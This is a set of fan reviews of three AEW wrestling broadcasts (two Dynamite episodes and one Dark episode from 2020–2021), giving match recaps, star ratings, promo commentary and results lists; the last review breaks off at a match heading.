Dynamite
Date: March 17, 2021
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Jim Ross, Tony Schiavone

It’s time for the next special show as we have a St. Patrick’s Day special. This time around we have the fallout from last week’s big angle with the Inner Circle being laid out by MJF and his new group. Other than that, we have a major showdown with Thunder Rosa and Britt Baker. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

MJF and company arrived at the airport earlier today.

Penta El Zero M vs. Cody Rhodes

During the intros, Penta (through a translator) promises to send Cody onto an early paternity leave. Penta jumps Cody during the entrances and we starts on the floor. Some kicks to the face and leg have Cody in more trouble and they head inside. Cody screams at Penta for chopping him and hits a release gordbuster. The Sling Blade gives Penta two and a Backstabber is good for the same.

Penta starts going after Cody’s bad arm but he’s fine enough to send Penta out to the apron. That means the Disaster Kick out to the floor, setting up the suicide dive. Back in and Cero Miedo is broken up with a superkick into a Canadian Destroyer into the Cody Cutter for two. Cross Rhodes gets two, as does a Vertebreaker, because modern professional wrestling is ridiculous. Cody wraps the leg around the post to set up the Figure Four but Penta makes the rope. Another Figure Four attempt is countered into the arm snap but Cody grabs a sunset flip for the pin at 10:09.

Rating: C+. Yeah I know they did a lot of cool stuff but they completely lost me with the ridiculous amount of kickouts. Sure a lot of people do it these days and it’s still ridiculous. Cody hit two finishers, a Vertebreaker and his submission with Penta surviving everything until a rollup got the pin. There is no need to do that much in a ten minute opening match and it was turning into a near joke.

Post match the Nightmare Family comes out to chase Penta off. QT Marshall gets out late and the Nightmare Family (all six members in the ring to chase off one Penta) is annoyed at him for being late.

The Young Bucks are ready to face Rey Fenix and Pac when Don Callis comes in. He’s heard that their dad wasn’t feeling good so Callis got him a shirt (“Do Not Slap Leg When Kicking”. SEE??? BECAUSE IT WAS A WWE THING AND THAT MEANS IT’S FUNNY TO REFERENCE IT BECAUSE IT MUST BE STUPID!!!). Anyway, Callis wanted to see the Bucks that he saw in Japan but there is nothing elite about them here. As for Kenny Omega, he is now the wrestling god and Omega doesn’t recognize the Bucks because they are just another team with fancy tights. Do they see the same Bucks they saw in Japan? Yay Japan. Again.

Jade Cargill vs. Dani Jordyn

Cargil doesn’t waste time in hitting a jumping knee and we hit the posing. A release German suplex sends Jordyn flying and Jade nips up, setting up Jaded (Glam Slam) for the pin at 1:17. That’s exactly how Cargill should be presented: total dominance with her doing the things she can make look good. Don’t have her trying to run before she can crawl.

Post match Cargill gets in Red Velvet’s face but is held back.

We look back at the big beatdown to end last week’s show.

Here are MJF and company for a chat. Tully Blanchard talks about how great it is to be in the middle of the ring with this bunch of guys. Last week they were in the ring with the Inner Circle and you saw them destroyed. So doesn’t that make this new group the most dominant group? That makes them the pinnacle (that sounds like a name) of professional wrestling. Thirty four years ago, Tully started his career with the best team in wrestling and now he’s ending it with them too.

MJF says now he is Judas and talks about how hard it was to take a backseat to Jericho for six months. Every time Jericho talked, he had to fall back as Jericho’s hairline. MJF sang and danced for Jericho and pretended to like his comedy BS, but it worked as planned. He was plucking Jericho feather by feather and then it was the coup de grace: he convinced everyone that he wanted to take over the Inner Circle. From day one, the plan was to kill the Inner Circle from the inside because he wanted to build something even better.

Tully was right when he called this group the Pinnacle and MJF talks about every member of the team. Then there is MJF himself, because he is the most talked about star in wrestling at 24 year old. He has 25 years plus left in the tank and that must make a lot of people want to put their fist through the screen. The GOAT spot is reserved for him and the Pinnacle is ready to be the backbone of AEW for years to come. And yes, he is better than us and we know it. Good promo here, with MJF selling it to perfection as you would expect.

Jurassic Express/Bear Country vs. Matt Hardy/Butcher and the Blade/Private Party

During the entrances, Hardy talks about how his team loves to make money and how he is building an empire. Matt wants to face Stunt to start but Marko makes him charge into the corner. That lets Jungle Boy comes in with a missile dropkick and everything breaks down in a hurry. The good guys clear the ring and Bear Country LAUNCHES Marko over the top (and he barely got his head down in time) for the huge crash.

Boulder throws Marq Quen but accidentally hits Boy by mistake, allowing Hardy to hit the Side Effect for two. We take a break and come back with Luchasaurus cleaning house with a bunch of kicks. The standing moonsault press gets two on Kassidy and it’s off to Bronson for a suplex.

Luchasaurus does not like Bronson coming in but Marko tags himself in as well as the good guys break down. A brawl breaks out on the floor and Kassidy kicks Marko in the face. Matt cuts off Marko’s comeback attempt and there’s Gin and Juice. That lets Matt tag himself in and hit the Twist of Fate for the pin on Stunt at 8:43.

Rating: C-. The tension between the Express and Bear Country could lead to a decent mini feud, but I’m not sure how much more they can milk out of Hardy. The Big Money Matt character is slightly better than Broken Matt but it’s still Matt Hardy as the focal point in 2021. That is only going to get them so far and it is getting more and more obvious every time he is in the ring.

Jon Moxley and Eddie Kingston say they don’t like the Good Brothers, and it isn’t just because Moxley wasted his money on Talk N Shop A Mania. Moxley thinks Karl Anderson has googly eyes like something you see kids making with construction paper. Kingston says this isn’t Tokyo or the Impact Zone because this is their home. The Good Brothers are cowards who die a thousand deaths. Moxley and Kingston are soldiers who will only die once. See you out there. I’m not wild on their matches, but these are two of the best talkers on wrestling right now and they’re a highlight every week.

Christian talks about people who are considered workhorses in this business. He is the kind of guy who makes other wrestlers look better but he isn’t a workhorse. That’s because he is THE workhorse but he only wants one spot. That spot is currently held by the AEW World Champion, who he got to meet last week. Omega is on borrowed time as World Champion and they’ll see each other down the road. He is here to cement his legacy and out work everyone. More good talking here, with Christian not sounding like he did in WWE, which is a welcome result.

Eddie Kingston/Jon Moxley vs. Good Brothers

The Brothers jump Kingston during his entrance but here is Moxley, with his shoulder taped from the barbed wire match, to start the fight. Moxley is sent shoulder first into the barricade and the Magic Killer drops him on the floor. The bell rings and it’s Kingston getting hammered down in the corner. More shots to the face give Gallows two as Moxley is still down on the floor.

Kingston gets in some chops but Gallows kicks Moxley off the apron as we take a break. Back with Kingston hitting a middle rope shoulder to drop Gallows and suplexing Anderson. That’s enough for the hot tag off to Moxley, who hits a running dropkick to send Anderson into the corner.

The running clothesline sets up a piledriver for two and there’s a suicide dive onto Gallows. Back in and Anderson scores with the spinebuster on Moxley, followed by the belly to back suplex/neckbreaker combination to plant Kingston. Gallows and Moxley brawl out to the floor, leaving Moxley to small package Anderson for the pin at 9:53.

Rating: C+. I liked this one as they told a good story with Moxley being down for the most part to leave this as a handicap match. The Good Brothers are fine as the enforcers for Omega and that’s all they need to be. This was mainly a one sided match until things picked up in the end, which is the story they were telling. Good enough match here.

Post match the beatdown takes out Moxley and here is Kenny Omega, dancing to the ring (that was great) and Kingston gets a Magic Killer. Kingston gets his ankle Pillmanized and the chair is wrapped around Moxley’s neck. Cue the Young Bucks to make the save but Omega gets in Matt’s face. Omega keeps wanting the Too Sweet, even with the Bucks looking ready to fight. Moxley gets the chair to clear the ring and Omega talks about his shoe. Omega was a bit loopy here and it worked….kind of? The dancing certainly did.

Tony Schiavone brings out Sting for his weekly chat but brings out Darby Allin as well for a change. Allin talks about winning the TNT Title and is here to defending it every week. He wants to pay tribute to the best TNT Champion of all time and will defend the title against any member of the Dark Order. Cue Lance Archer and Jake Roberts to interrupt. Archer wants to know why Sting is always getting the TV time and calls Allin the most indyrific wrestler around here. Roberts tells Allin to go put his hot dog bun back on because he is just a weenie.

Archer and Roberts leave so here is Team Taz, with Brian Cage speaking for himself this week. Cage talks about how great the street fight was and says he respects Sting. With or without the bat, Ricky Starks is wrong: Sting is still the Icon. Cage leaves as the rest of the team yells at him.

Video on Scorpio Sky, who was always the nice guy because no one wanted him to be the star. Now, everything has changed.

Rey Fenix vs. Angelico

Angelico takes him down to the mat to start but Fenix flips out of a wristlock. An armdrag takes Angelico down and we reset a bit. Angelico grabs the arm and starts hammering away on the tape on Fenix’s back. We take a break and come back with Fenix making the comeback and hitting the rolling cutter for two. A fireman’s carry is broken up and Fenix gets sent into the corner. An exchange of kicks to the head sets up Fenix’s crucifix bomb. The Black Fire Driver finishes Angelico at 7:31.

Rating: C+. These guys beat each other up for a few minutes and that was all it needed to be. I’m not sure why this wouldn’t be Fenix and Pac beating up the Hybrid 2 but the less Jack Evans around, the better things can be. Fenix continues to be as entertaining as it gets and I’m looking forward to the Tag Team Title match.

Miro is working out but stops to say he is sick of hearing about Chuck Taylor and Orange Cassidy. Kip Sabian comes in to say he isn’t done with them and wants the rematch. He also isn’t happy with Miro for bumping into Penelope Ford but Miro says the worst thing you can do is have your wife at ringside (right). Miro leaves and Fenix accepts the rematch on behalf of the team.

John Silver accepts the TNT Title challenge for next week.

The Pinnacle takes over the Inner Circle’s dressing room.

Thunder Rosa vs. Britt Baker

Lights out, meaning anything goes and Rebel is here with Baker. Speaking of Rebel, she hits Rosa from behind with a crutch before the bell and Baker takes it to the stage. The Air Raid Crash on the ramp gets two, as apparently this is falls count anywhere. Baker misses a chair shot against the barricade as we see Hikaru Shida watching from the back. Rosa is back up and throws a chair at Baker’s face and another shot to the back. Baker is sent over the barricade with Rosa following but missing a charge into a chair.

They’re back at ringside with Rebel helping Baker set up a table. A bunch of chairs are thrown inside and Rosa is busted open. We take a break and come back with Baker superplexing her onto the pile of chairs, which leaves her down as well. A delayed cover gets two and Rebel slides in a ladder. Rosa sends Baker face first into the ladder for two and there are the running knees in the corner.

The ladder is put on Baker’s face and a running dropkick crushes Baker in the corner. That busts her open too as commentary can’t believe how this is going. Baker is bleeding hard but manages to send her into the ladder. Rosa is down and Baker goes up….but gets Death Valley Drivered off the top and into the ladder for the huge crash. That’s good for two as well and somehow Baker is back up with a DDT onto the chair. The stomp onto a chair gets the same but Baker, who is covered in blood, smiles.

Rebel slips in the glove….and a bag of tacks as well. Rosa is back up and tries a powerbomb onto the tacks, only to have Rebel offer a distraction. That’s fine with Rosa, who knocks her off the apron and through the table, followed by the powerbomb onto the tacks for two. Baker pulls her down into the Lockjaw but Rosa rolls it into the tacks for the break in a painfully smart move. A hard low superkick rocks Rosa again and they head to the apron with Rosa pulling her off the top. That means a Fire Thunder Driver through the table to finally end Baker at 16:37.

Rating: A. This was everything you could have wanted from the match and more, but above all else it felt like a war. You could feel that these two were going to do everything they could to beat the other, but also to survive as long as they could. It was as hard hitting and brutal of a match as I have seen in a long time and I dug the heck out of the whole thing. I got a lot more out of the violence here than in the barbed wire match and I would not have bet on this coming in. Great match and check it out for sure.

They’re both mostly done to end the show.

Overall Rating: B. That main event bailed out an otherwise pretty meh show, as it was the only thing worth seeing. The good thing is that it is VERY worth seeing and made up for almost everything else. The first twenty minutes of this show had me ready to trash the whole thing but it did get better as it went along. I’m not big on some of the stories they are telling here, but at least they had a classic to wrap it up. Good show, and that is almost entirely attributed to the main event and some solid promos.

Results

Cody Rhodes b. Penta El Zero M – Sunset flip

Jade Cargill b. Dani Jordyn – Jaded

Matt Hardy/Butcher and the Blade/Private Party b. Jurassic Express and Bear Country – Twist of Fate to Stunt

Eddie Kingston/Jon Moxley b. Good Brothers – Small package to Anderson

Rey Fenix b. Angelico – Black Fire Driver

Thunder Rosa b. Britt Baker – Fire Thunder Driver through a table

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

Dynamite
Date: December 16, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Tony Schiavone, Jim Ross, Excalibur

The run of big shows continue as we are now on the way to New Year’s Smash in two weeks. The big story continues to be World Champion Kenny Omega, who is going to be headlining the Impact Wrestling Hard To Kill pay per view in January. That could mean an invasion on this week’s show. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Hangman Page/Dark Order vs. Matt Hardy/Private Party

Page and Quen start things off with Quen grabbing a headlock. That doesn’t go very long so it’s Hardy coming in for a kick to the ribs in the corner. Private Party both comes in but the Dark Order comes in as well for a triple big boot. The ring is cleared so Silver jumps on Page’s back to celebrate. Kassidy comes in and gets slammed down so Page drops Silver down onto him for two.

Reynolds tags himself in and it’s a double flipping faceplant to put Kassidy down again. Page adds the running shooting star to give Silver two and he knocks Kassidy into the corner. That lets Silver strike a pose, and Page isn’t sure what to think. Kassidy gets in a shot of his own and it’s off to Quen to start picking up the pace. Stereo basement dropkicks get two on Silver and Hardy comes in for a sleeper. That’s countered into a brainbuster from Silver and it’s back to Page to clean house.

The Side Effect cuts Page off but it’s too early for the Twist of Fate. Page nails a hard clothesline and it’s off to Reynolds to start cleaning house again. A neckbreaker drops Quen and Kassidy is sent outside. Page hits a pop up sitout powerbomb and Reynolds gets two off a rollup. Hardy breaks up the cover and hits a hanging Twist of Fate to pull Silver off the apron for a thud. That leaves Reynolds to take Gin and Juice, with Hardy stealing the pin at 10:48.

Rating: C+. Pretty good action and it didn’t go all that long. I was surprised by the ending too, though I could go for Less Hardy being involved in….well almost anything with some kind of a character for that matter. Private Party winning is a nice surprise and Silver continues to look more and more like a star every time he is out there. I’m curious to see where he goes and the further he gets away from the evil Dark Order, the better he’ll be doing.

Here’s what’s coming tonight.

Maxwell Jacob Friedman is given a plaque from the New York Times for Best Performance of 2020. Chris Jericho mentions that he was involved as well and MJF actually gives him credit. MJF sees the greatest of all time and his best friend when he looks at Jericho, who can only say thank you.

We go to Cody and Brandi Rhodes’ house where they are trimming the tree. Their doorbell rings and there is a box waiting for them. Inside is a Christmas ornament saying…..that they’re expecting a baby. Pharaoh has a collar saying “Baby Security In Training.” That’s great.

Cody Rhodes vs. Angelico

Cody is introduced as The Future Father in a nice moment. Angelico snapmares him down to start and wipes his hair back. Cody is right back with one of his own before they fight over a wristlock. Angelico kicks him away though and we have a standoff. With nothing else working, Cody takes him down so Angelico kicks his feet for protection. Back up and they shoves each other away, setting up a crisscross. Cody drops down into a dropkick for one and we take a break.

Back with Cody knocking him down again and hitting a few clotheslines. The powerslam gets two but Angelico ties him up in some kind of wacky double arm hold using his legs. Cody bites the rope for the escape because sometimes it’s all you can do. The Disaster Kick misses though and Angelico tweaks his knee, allowing Angelico to grab his Navaro Death Roll. That’s broken up as well and Cody is right back up with the Cody Cutter for the pin at 9:45.

Rating: C. Not too bad here and having Cody doing his thing while having to deal with Angelico’s technical/submission stuff worked….in the little amount of time that Angelico did it. That being said, the announcement before the match is going to make a lot of people smile and it’s a lot more important in the first place. Fine enough match, though I could have gone for more from Angelico.

Post match here’s Team Taz to say they don’t get why they didn’t receive their own congratulations for taking out Darby Allin. They’re about to come to the ring to put Cody on paternity leave, but here’s Sting to cut them off. Powerhouse Hobbs has to be held back as Sting stand around with the bat and Darby Allin looks on from the rafters. Sting winks at Cody and leaves so Team Taz goes to the ring and pummels Cody. Well in theory at least, but instead they stand there as we go to a break due to wrestling logic.

Miro has been fined $75,000 for attacking various production workers last week. He says it’s all about the numbers and that is money Orange Cassidy owes him. Next week he’s breaking the internet again when he faces Sonny Kiss and then next week it’s the wedding date announcement. When asked about the people being put in the hospital at Christmas, he says BAH HUMBUG because Christmas is his birthday.

Here’s Eddie Kingston to address his enemies. First up is Pac, who has been injured and left on the shelf. Where is he anyway? Then there is Lance Archer, who rushes the ring to start the fight. Butcher, Blade and Bunny come to the ring for the save but Archer fights them off. The Lucha Bros come in for the save and Pac is back to make it even worse. Death Triangle beats up all four of them with Fenix hitting the big corkscrew dive. Archer grabs Kingston by the throat but Pac kicks Kingston in the face, which Archer doesn’t like. No violence ensues as Kingston and company bail.

Dustin Rhodes says Seven was a bad idea years ago and it was a bad idea last week. Uno said Rhodes was the least important member of the Rhodes Family and that’s just not true. Last week it was Ten and next week it’s Uno going down.

Best Friends/Top Flight/Varsity Blonds vs. Inner Circle

Orange Cassidy sits in on commentary, even though his headset isn’t plugged in and his mic isn’t down. Jericho chops Pillman into the corner to start and poses in the corner while standing on Pillman’s throat. Back up and Pillman nearly slips out of the corner but manages to hit a springboard crossbody to rock Jericho. The triangle dropkick sends Jericho to the floor and a slingshot dive takes Jericho down again.

Back in and it’s off to Garrison for a slam but Jericho drives him into the corner for the tag to Guevara. Dante comes in for a leg lariat to Guevara and Darius comes in for a crucifix (despite what looked to be a bit of confusion). Guevara punches him down with a hard shot and it’s off to Trent vs. Santana for a showdown. Ortiz and Chuck come in as well and the big brawl is on with everyone getting involved. The Inner Circle is cleared out and it’s a six way hug.

Back in and Ortiz suplexes Trent a few times, allowing Santana to come in with a top rope double stomp to the arm. Trent gets sent outside and we take a break. Back with Jericho and Guevara running Trent over and stopping for the double pose (that still works). Sammy misses the shooting star press so Trent nails the running knee. A suplex to Ortiz allows the tag off to Darius to pick up the pace.

The standing Spanish Fly hits Ortiz and Dante hits the big running dive to take out Santana and Ortiz. Pillman adds the springboard shoulder to Ortiz and Hager is low bridged to the floor. Garrison forearms Ortiz but Jericho gets in a baseball bat shot from the floor. Hager is in and hits Wardlow’s F10, allowing MJF to get the pin at 14:09.

Rating: C+. What we got was good enough, but they really could have cut this down to about eight people so there weren’t so many people standing around without much to do. They booked the match well though and the good guys got to showcase themselves rather well before going down. Garrison taking the fall doesn’t hurt him as he got to show off a bit first. Good enough here, and they didn’t get too messy for their own good.

Post match Top Flight clears the ring and we get the big staredown.

Thunder Rosa blames Britt Baker for costing her the NWA Women’s Title and doesn’t like her saying Rosa doesn’t belong here. Rebel comes up for a distraction and it’s Britt Baker jumping Rosa from behind. Baker traps the arm and Rebel pours water on Rosa to mess up the paint. With Rosa out (From what?), Baker looks at the camera to make sure it still works after looking at Rosa’s face.

SCU vs. Acclaimed

Acclaimed raps their way to the ring, including saying that Daniels is an out of date format like a CD and Kazarian’s back must be hurting with the carrying. Kazarian and Daniels rhyme right back, saying the Acclaimed suck. Daniels chops away at Bowens to start but gets backdropped down for his efforts. Castor comes in and hammers away in the corner as commentary talks about Castor’s father’s NFL career. Daniels knocks Castor down for a slingshot lariat to give Kazarian two.

Kazarian grabs an armbar to keep Castor in trouble but he gets sent outside, allowing the beating to be on as we take a break. Back with Kazarian in trouble until he uses the ropes to take Castor down. Bowens gets kicked away and it’s Daniels coming in with some clotheslines to take over. The Blue Thunder Bomb gets two on Bowens and a high crossbody is good for the same. Daniels rolls Bowens up but gets kicked away, allowing Castor to hit him in the face with the boom box. Bowens hits a Rock Bottom slam for the surprise pin at 8:17.

Rating: C+. If there is one thing AEW is good at, it is using its younger talents to put people over. The match worked rather well for the Acclaimed, as the tag division continues to grow by leaps and bounds with all of the additions the make seemingly every month. SCU are a made team so this doesn’t hurt them whatsoever. Good match too.

Post match the Acclaimed rap a challenge to the Young Bucks for next week.

Top Flight challenge Chris Jericho and MJF for next week. They can either accept or run away like b******.

Ivelisse/Diamante vs. Big Swole/Serena Deeb

Swole and Diamante slug away to start and Swole suplexes her down over without much effort. Diamante jumps Deeb on the apron and takes Swole into the corner as we take a break. Back with Deep fighting both of them off at the same time, including an Indian Deathlock to Ivelisse while she suplexes Diamante.

A neckbreaker over the ropes puts Ivelisse down again and a Figure Four goes on. Diamante makes the save and it’s a double slam for two on Deeb. Swole is back in with a headbutt to Diamante and it’s a Clearwater Cloverleaf (with Swole not even stepping over) to make Diamante tap at 9:21.

Rating: C-. Deeb is so far ahead of Swole and Diamante it’s not even funny. Ivelisse can do some things well enough but there’s a polish to Deeb that just isn’t there with her. Diamante and Ivelisse do work well together though and it’s nice to have a team that means a little something. That being said, at least step over to make the Cloverleaf work.

Post match it’s Nyla Rose and Vickie Guerrero coming in to help beat down Deep and Swole. Red Velvet makes the save with a chair. Can we just not with Rose and Guerrero?

The Best Friends are going to be at the Holiday Bash (next week) when Miro announces the wedding date.

Video on the Jurassic Express. They’ve kind of disappeared in recent weeks.

FTR and Tully Blanchard storm the broadcast booth and complain about not getting any time while a grown up Tarzan and a wannabe dinosaur are featured. This is how Harwood feeds his family and these two men are his family. Top guys out, after a heck of a fired up promo from Harwood.

Here’s what’s coming next week.

Kenny Omega vs. Joey Janela

Non-title and no DQ with Don Callis/Sonny Kiss as the seconds. During Omega’s entrance, Tony says he’s glad that Omega took Impact’s numbers from one to six. Not so much on the second week but it did work the first time. Janela throws a trashcan at Omega to start and Callis goes to commentary to take Tony’s headset. Tony tells him what to kiss as Janela whips Omega into the barricade.

Omega is right back with a Kitaro Crusher onto an open chair. There’s a baseball slide into a running flip dive to send Joey into another chair, allowing Callis to praise Kenny on his mic. Hang on as Omega gets the mic and blasts him with a cookie sheet, making sure to show off the extra sound. Back in and a moonsault with a trashcan crushes Janela for two.

Omega is annoyed at the kickout so he beats on Janela some more, setting up a springboard double stomp onto the trashcan. The One Winged Angle is countered with a reverse hurricanrana, allowing Kiss to whip out a table. The top rope legdrop sends Omega through the table but the moonsault misses back inside. Omega hits some V Triggers and the One Winged Angel finishes Janela at 7:01.

Rating: B-. This wasn’t about the action and that’s the way it should have gone here. There was no reason to believe that Janela was going to be a threat here and Omega dealt with him as such. The trash talk and Callis doing commentary were great heel touches and the kind of thing that fits them perfectly. It wasn’t a good match, but it was perfectly put together.

Post match Callis says all of the loose ends have been tied up and now there is no one left with a complaint. Cue Death Triangle with Pac saying that Fenix never got his shot against Omega in the tournament. Callis offers to teach him a lesson, because Pac has no authority. Wrestlers don’t tell the champ what to do, but Pac has talked to Tony Khan and Fenix is getting his title shot on December 30. Omega is livid to end the show.

Overall Rating: B. The wrestling wasn’t exactly the point tonight as this was all about setting things up for the next few big shows. There are going to be three straight big weeks coming up and that could be some very good news for AEW. I’m not sure what to expect out of those shows, but dang they are making me want to see what they have coming. Another good show this week, and it has me wanting to see more, which is the more important result.

Results

Private Party/Matt Hardy b. Hangman Page/Dark Order – Gin and Juice to Reynolds

Cody Rhodes b. Angelico – Cody Cutter

Inner Circle b. Top Flight/Varsity Blonds/Best Friends – F10 to Garrison

Acclaimed b. SCU – Rock Bottom slam to Daniels

Serena Deeb/Big Swole b. Ivelisse/Diamante – Clearwater Cloverleaf to Diamante

Kenny Omega b. Joey Janela – One Winged Angel

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: All Elite Wrestling

Dark
Date: October 6, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Taz, Ricky Starks

It’s back to this show as they seem to have lightened up on the time a bit. This is probably four or five regular shows in a row to be around the ninety minute mark. That’s still too long, but it’s a lot better than the two hour one that they had a month and a half or so ago. Hopefully the wrestling makes it better. Let’s get to it.

Here are last results if you need a recap.

Announcers’ welcome.

Kenzie Page vs. Brandi Rhodes

Dustin Rhodes is here too. Page shoves her in the face to start and gets taken down with a headlock takeover. The armbar goes on for a bit, followed by the low superkick for two on Page. Back up and Page stomps her down in the corner as Starks mentions that Page has changed her gear color since last time. What an astute observation. Brandi fights out of the chinlock in a hurry and hits something like a Sling Blade. The bulldog gets two and there’s a Dustin uppercut. The Stunner sets up the Shot Of Brandi for the pin on Page at 3:37.

Rating: D+. This was your usual Brandi match: Brandi gets to shine, wins in the end, and doesn’t do much to prove more than she’s a more athletic Stephanie McMahon. It’s not like she can do anything special in the ring and she is far from the worst wrestler, but sweet goodness it’s one of those things that you just have to get used to because she’s always going to be around.

Post match here’s Anna Jay to jump Brandi but Red Velvet makes the save.

Ray Rosas/Eric Watts vs. Jurassic Express

Not THAT Watts. Boy headlocks Rosas to start and armdrags him into an armbar. It’s already off to Luchasaurus to throw him into the corner and hand it straight back to Boy. Rosas gets in a backbreaker for a breather and it’s Watts coming in with a splash in the corner. A fall away slam keeps Boy in trouble and Watts throws him into the corner again.

Boy is fine enough to roll over for the hot tag to Luchasaurus anyway, meaning it’s a chokeslam into the standing moonsault. Watts makes the save and kicks Luchasaurus down, setting up Rosas’ top rope elbow for two with Boy making the save. Watts pulls Luchasaurus to the floor, leaving Boy to get rolled up for two. A sitout chokeslam gives Watts two on Boy but it’s back to Luchasaurus for the Tail Whip. Boy dives onto Watts and slides back in for the Extinction Level Event and the pin on Rosas at 6:34.

Rating: C-. What in the world happened to Luchasaurus? Remember about six months ago when he was having the big hoss showdowns with Jake Hager and other associated giants? Well now he’s almost getting pinned by a jobber on Dark and it doesn’t even feel like a big deal. It’s a case of someone being dragged down instead of rising up and that’s a sad thing to see.

Chris Jericho talks about his history with Luther in Japan and Canada. He was a bit jealous of Luther being a bigger star in Japan but he had never had the chance on the big stage. That’s why he was hired for AEW and no, it wasn’t a favor for a friend. Now though, it is time for a match thirty years in the making. I don’t buy the “it wasn’t a favor” for a second, but it is nice to see Jericho getting to face an old friend in such a major spot.

Anthony Bowens/Lee Johnson vs. Chaos Project

Serpentico dives at Johnson’s knees to start but gets caught in a headlock for his efforts. A dropkick puts Serpentico down again, allowing Taz to talk about the best dropkick in the company. Johnson misses a charge though and gets caught with a basement dropkick. Luther comes in with a slam and suplexes Serpentico onto Johnson for two.

The chinlock doesn’t last long so Luther goes with a snap suplex instead. Serpentico comes back in but misses a charge, allowing the hot tag to Bowens. That means clotheslines a go-go and a dropkick to Luther, followed by something like a torture rack Samoan drop for two on Serpentico. Everything breaks down and Serpentico hits a standing Sliced Bread on Johnson. The spinebuster/top rope Meteora finishes Bowens at 6:36.

Rating: C-. The near falls were good but it’s a little hard to get into the idea of another evil team. They have quite a few of them around here already (if nothing else the multiple Dark Order lineups are enough) and Luther/Serpentico aren’t exactly thrilling. Not a bad match at all though, as Johnson continues to be one of the better jobbers around.

Will Hobbs vs. Ryzin

Will runs him over with a clothesline to start, but Ryzin gets in a ram to the buckle. That just annoys Hobbs, who is back with a delayed vertical suplex. Ryzin kicks him in the face but a clothesline hurts his own arm. Hobbs hits a jumping shoulder and plants him with a powerslam. The Last Will And Testament (spinebuster) finishes Ryzin at 2:28. Ryzin got in a bit too much but Hobbs looked dominant.

Eddie Kingston is sick of Joey Janela and Sonny Kiss acting like clowns. They aren’t doing that to the Lucha Bros tonight, because the Bros aren’t clowns.

John Silver vs. QT Marshall

They go to the mat in a hurry with Marshall grabbing a headscissors and then a headlock. Back up and a right hand puts Silver in the corner and a suplex gives Marshall two. Silver is back up with a running elbow to put Marshall outside and Evil Uno is rather pleased. Back in and Marshall tells him to kick at the chest, so Silver slaps on a Crossface instead. Marshall makes the rope and loads up a superplex, which has Taz thinking it’s going to be a superplex.

The top rope superplex puts them both down so Marshall heads up top for a back elbow to the jaw. An Evil Uno distraction means the Diamond Cutter attempt can be countered, followed by Silver hitting an enziguri. Silver’s Backstabber gets two but Marshall grabs a Lethal Combination. Evil Uno gets on the apron so Dustin Rhodes fights him to the back. The rest of the Dark Order comes in for the distraction, allowing Silver to grab the spinning torture rack slam for the pin at 8:26.

Rating: C. It feels like these teams have been fighting forever now and while Cody vs. Brodie Lee is actually going somewhere, the rest of it feels like it has been going in circles forever. Silver winning a match gives him a big more credibility, but does beating QT Marshall carry that much weight? The match was fine enough, though like most of the matches between the Rhodes Family and the Dark Order, it pretty much came and went.

Griff Garrison/Brian Pillman Jr. vs. Cezar Bononi/David Ali

Ali’s headlock doesn’t keep Pillman in trouble for very long to start so it’s already off to Garrison. A slingshot hilo into a slingshot legdrop has Ali in more trouble but he gets in a knee to the ribs. It’s off to Bononi for a hard shoulder and a blown kiss to Garrison, but he would rather face Pillman. Some kicks and chops just annoy Bononi but a few more to the leg stagger him a bit.

Bononi elbows him in the face and brings in Ali, meaning Pillman can grab a rollup for a fast two. With that not working, Bononi comes back in and drives Pillman hard into the corner. Pillman slips out though and the hot tag brings in Garrison to start cleaning house. A belly to back faceplant drops Ali and it’s a powerbomb/Air Pillman combination for the pin at 5:57.

Rating: C. And that’s what they should have been doing for MONTHS. Pillman and Garrison aren’t likely to go anywhere, but instead of having them lose every single time, they now have a win under their belt and aren’t seen as instant pushovers. This is something that needed to be changed for a long time now and it could do a lot of good for this show in the long run.

Big Swole vs. Skyler Moore

Moore drives her into the corner to start and it’s already time for the shoving. Swole gets knocked down and Moore gets in a few stomps in the corner for one. A snap suplex gets Swole out of trouble and it’s a headbutt into a springboard cutter. Dirty Dancing finishes Moore at 3:04.

Rating: D+. This is definitely in the “well that happened” category as Swole continues to do her thing and only works in small doses. I like Moore a good bit as she looks different enough to stand out and can do some decent stuff when she is given the chance. That being said, AEW seems to like Swole a lot so it is hardly a surprise that she is getting such a push towards the title.

Matt Sydal didn’t have the best debut at All Out and it’s all due to Michael Nakazawa spreading his baby oil around. Tonight, it’s about revenge.

Matt Sydal vs. Michael Nakazawa

Nakazawa puts the oil on the turnbuckle to start but Sydal sees it coming and kicks him down. Sydal grabs a towel, wipes off the turnbuckle and goes up but Nakazawa sprays more oil on the ropes to make him slip again. Nakazawa pulls out the underwear claw and finally manages to get it on, only to have Sydal pull him into a Cobra Clutch with the legs trapped for the submission at 1:47. I don’t remember the last time I saw an idea dumber than Nakazawa, but it must have been decades at this point.

Eddie Kingston vs. M’Badu

Kingston chops away to start but M’Badu is back with a Stinger Splash. A powerslam gives M’Badu two but Kingston nails a knee to the ribs and the spinning backfist. The Kimura makes M’Badu tap at 1:41. Of all the people you have available, you had to have M’BADU lose that fast???? I sat through Michael Nakazawa doing his stupid routine and M’Badu, a guy who could actually be something, loses in less than two minutes? Come on AEW. You’re smarter than this.

Post match Kingston grabs the mic and says leave the hard camera on because he only cares about getting this message to Jon Moxley. What you just saw was a Kimura and the next time he puts that on Jon Moxley, he’s going to shout I QUIT instead of tapping out because he’s going to be in so much pain. Moxley was supposed to take them to the promised land but instead he forgot about them. You’re in this business to be a World Champion so he’s going to hurt Moxley and have a really good time doing it. This was outstanding as Kingston is rocketing up the list of best talkers in wrestling.

Joey Janela and Sonny Kiss are ready to take out the Lucha Bros because they want back in those rankings.

Angelico vs. Shawn Dean

